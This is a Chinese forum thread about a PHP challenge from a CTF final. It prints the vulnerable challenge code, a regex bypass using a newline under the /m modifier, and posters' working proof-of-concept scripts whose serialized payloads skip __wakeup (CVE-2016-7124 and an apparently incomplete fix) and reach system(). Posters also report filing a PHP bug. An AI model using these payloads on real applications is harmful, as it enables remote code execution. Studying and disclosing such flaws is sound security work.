[CTF]安全大赛,决赛题目。唯一和PHP有关的题目,大佬进来看看

@Ta 2021-10-30发布,2021-10-30修改 16516点击
0: 目前看来 我们这队伍 在本科组里垫底,决赛高手太多了,
1: 这题目我做了1个小时,没做出来,
2: 大概就是利用 构建一个序列化,然后,利用__wakeup 类魔术,最终用栈的形式掉用到 shell


image.png

<?php

highlight_file(__FILE__);

class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
    public function __wakeup(){
        $this->func = '';
        die("Don't serialize me");
    }
}

class Test{
    public function getFlag(){
        system("cat /flag?");
    }
    public function __call($f,$p){
        phpinfo();
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A{
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B{
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}

if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $o = unserialize($pop);
    throw new Exception("no pop");
}


回复列表(31|隐藏机器人聊天)
  • @Ta / 2021-10-30 / /
    另外有一题签到题, php7仍然存在 正则表达式绕过 安全问题, 利用 %00或 %0a 绕过

    截屏2021-10-30 12.15.34.png截屏2021-10-30 12.15.34.png


    截屏2021-10-30 12.13.59.png截屏2021-10-30 12.13.59.png
  • @Ta / 2021-10-30 / /
    这都是啥啊,看不懂
  • @Ta / 2021-10-30 / /

    @胡椒舰长,1楼的问题不是php的问题而是代码的问题,如图:

    Screenshot_20211030_171334.jpg

    刻意添加模式修饰符/m打开了多行匹配模式,当然可以通过换行绕过检测。正常人谁没事会加/m

    还有\0%00)是不能绕过检测的,因为PCRE是二进制安全的,只有\n%0a)可以,因为代码主动开了多行模式,而\n%0a)是换行符。


    https://www.php.net/manual/zh/reference.pcre.pattern.modifiers.php

    m (PCRE_MULTILINE)
    默认情况下,PCRE 认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行), "行首"元字符 (^) 仅匹配字符串的开始位置, 而"行末"元字符 ($) 仅匹配字符串末尾, 或者最后的换行符(除非设置了 D 修饰符)。这个行为和 perl 相同。 当这个修饰符设置之后,“行首”和“行末”就会匹配目标字符串中任意换行符之前或之后,另外, 还分别匹配目标字符串的最开始和最末尾位置。这等同于 perl 的 /m 修饰符。如果目标字符串 中没有 "\n" 字符,或者模式中没有出现 ^ 或 $,设置这个修饰符不产生任何影响。

  • @Ta / 2021-10-30 / /

    默认模式唯一的风险在于,行尾多且仅多一个换行符的情况下,依然可以被$匹配,除非加模式修饰符/D

    不过只多个换行通常不会产生非常严重的后果。如果往空格后面追加内容,不加/m就匹配不上了。

    Screenshot_20211030_172815.jpg


    https://www.php.net/manual/zh/reference.pcre.pattern.modifiers.php

    D (PCRE_DOLLAR_ENDONLY)
    如果这个修饰符被设置,模式中的元字符美元符号仅仅匹配目标字符串的末尾。如果这个修饰符 没有设置,当字符串以一个换行符结尾时, 美元符号还会匹配该换行符(但不会匹配之前的任何换行符)。 如果设置了修饰符m,这个修饰符被忽略. 在 perl 中没有与此修饰符等同的修饰符。

  • @Ta / 2021-10-30 / /
    @老虎会游泳,wehshell 序列化那题有什么思路吗?目前网上还没有此题解析,并且组委会 说了不会公布答案的,我很好奇。并且这是一题签到题
  • @Ta / 2021-10-31 / /

    @胡椒舰长,什么版本的PHP? php7在PHP7.0.10前有漏洞可以绕过__wakeup, php5在5.6.25之前也有。
    白日梦还是要做的blog.wz52.cn

  • @Ta / 2021-10-31 / /


    去找别的队伍要的,最新的答案,别人的

    DoK0wn—Writeup.pdf(193.93 KB)
  • @Ta / 2021-11-01 / /

    @老虎会仰泳,看起来@胡椒舰长 给的答案不挑php版本,8.0一样管用:
    Screenshot_20211101_041620_com.sonelli.juicessh_edit_897755101306239.jpg

  • @Ta / 2021-11-01 / /

    答案生成代码中,$r1 = str_replace('"Fun":1:','"Fun":2:',$r);是关键。如果不进行该替换,攻击就不会起作用。

    CVE-2016-7124:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。

  • @Ta / 2021-11-01 / /

    7.4.25也有问题,php团队从未修复该问题吗?

    Screenshot_20211101_041458.jpg

  • @Ta / 2021-11-01 / /

    @胡椒舰长@老虎会仰泳,7楼的答案可能意外发现了CVE-2016-7124的变体,该问题在最新的PHP版本中依然存在。

    cat poc.php
    
    #!/usr/bin/env php
    <?php
    class Fun{
        private $func = 'call_user_func_array';
        public function __call($f,$p){
            call_user_func($this->func,$f,$p);
        }
        public function __wakeup(){
            $this->func = '';
            echo "Don't serialize me\n";
        }
    }
    
    class A{
        public $a;
        public function __get($p){
            return $this->a->$p();
        }
    }
    
    class B{
        public $p;
        public function __destruct(){
            $p = $this->p;
            echo $this->a->$p;
        }
    }
    
    $pop = <<<EOF
    O:1:"B":2:{s:1:"p";s:13:"php --version";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:4:"func";s:6:"system";}}}
    EOF;
    
    try {
        echo "********** normal **********\n\n$pop\n\n";
        var_dump(unserialize($pop));
    } catch (Throwable $e) {
        echo "\n", $e->getMessage(), "\n\n";
    }
    
    try {
        echo "********* bad **********\n\n\n$pop\n\n";
        $pop = str_replace('"Fun":1', '"Fun":2', $pop);
        var_dump(unserialize($pop));
    } catch (Throwable $e) {
        echo "\n", $e->getMessage(), "\n\n";
    }
    
    chmod +x poc.php
    docker run --rm -v $PWD:/root/php php /root/php/poc.php
    

    Screenshot_20211101_055802_com.sonelli.juicessh.jpg

  • @Ta / 2021-11-01 / /

    已经向php.net提交了bug报告(因为涉及安全问题,报告默认被隐藏)
    https://bugs.php.net/bug.php?id=81579

  • @Ta / 2021-11-01 / /

    zheyx
    小米MIX2s(白)

  • @Ta / 2021-11-01 / /
    @net909 或许 序列化后门可以作为一个非常隐蔽的提权和维护正版软件的高明的方式
  • @Ta / 2021-11-01 / /

    @水木易安@胡椒舰长,我准备把虎绿林帖子里存储的序列化数组改成JSON,看起来JSON的安全风险比序列化小的多。

  • @Ta / 2021-11-01 / /

    @老虎会游泳,我测试了一下和 CVE-2016-7124 没啥区别都是改变对象属性的数量,让php跳过__wakeup 。我 6 楼说的版本似乎只是我错误的相信了网页上的数据。不会到现在他都没有修复吧。。。

    1635751957(1).jpg
    白日梦还是要做的blog.wz52.cn

  • @Ta / 2021-11-01 / /

    @老虎会仰泳PHP版本7.0.10说它修复了CVE-2016-7124,但是并没有。如果用以下攻击数据,7.0.10也可以成功。

    $pop = <<<EOF
    O:1:"B":2:{s:1:"p";s:13:"php --version";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:"\0Fun\0func";s:6:"system";}}}
    EOF;
    

    这个攻击数据就是答案给的攻击数据,我嫌里面有\0所以把\0Fun\0删了,结果只和PHP7.2及后续版本兼容(因为func被标为private,表示方法得不一样)。

  • @Ta / 2021-11-01 / /

    PHP7.0.10的system函数会因为第二个参数不是引用类型而拒绝执行,改成这样就能执行了:

    cat poc2.php
    
    #!/usr/bin/env php
    <?php
    class Fun{
        private $func = 'call_user_func_array';
        public function __call($f,$p){
            call_user_func($this->func,$f);
        }
        public function __wakeup(){
            $this->func = '';
            echo "Don't serialize me\n";
        }
    }
    
    class A{
        public $a;
        public function __get($p){
            return $this->a->$p();
        }
    }
    
    class B{
        public $p;
        public function __destruct(){
            $p = $this->p;
            echo $this->a->$p;
        }
    }
    
    $pop = <<<EOF
    O:1:"B":2:{s:1:"p";s:13:"php --version";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:"\0Fun\0func";s:6:"system";}}}
    EOF;
    
    try {
        echo "********** normal **********\n\n$pop\n\n";
        var_dump(unserialize($pop));
    } catch (Throwable $e) {
        echo "\n", $e->getMessage(), "\n\n";
    }
    
    try {
        echo "********* bad **********\n\n\n$pop\n\n";
        $pop = str_replace('"Fun":1', '"Fun":2', $pop);
        var_dump(unserialize($pop));
    } catch (Throwable $e) {
        echo "\n", $e->getMessage(), "\n\n";
    }
    
    chmod +x poc.php
    docker run --rm -v $PWD:/root/php php /root/php/poc2.php
    

    Screenshot_20211101_160156_com.sonelli.juicessh_edit_921000534588630.jpg

  • @Ta / 2021-11-01 / /

    @老虎会仰泳@胡椒舰长,看起来PHP当初对CVE-2016-7124的修复是不完善的。

    https://github.com/php/php-src/commit/20ce2fe8e3c211a42fee05a461a5881be9a8790e

    从测试用例就能看出来,它似乎只解决了会调用有问题的对象本身的析构函数这个问题,但是没有阻止外层没问题的对象触发析构函数,并且在其析构函数中引用有问题的对象。

    也就是说,修复只是让unserialize返回false,打印一行警告,并且不会调用Fun的析构函数。但是Fun还是被构建出来并且塞入了我们的攻击数据,所以在外层对象析构的时候就会引用攻击数据。

    如果PHP的实现是:

    • 一但出现不完整警告就把相应对象设为null
    • 或者一但出现不完整警告就不触发外层析构函数;
    • 或者无论如何都调用__wakeup()

    那就不会有问题了。

添加新回复
回复需要登录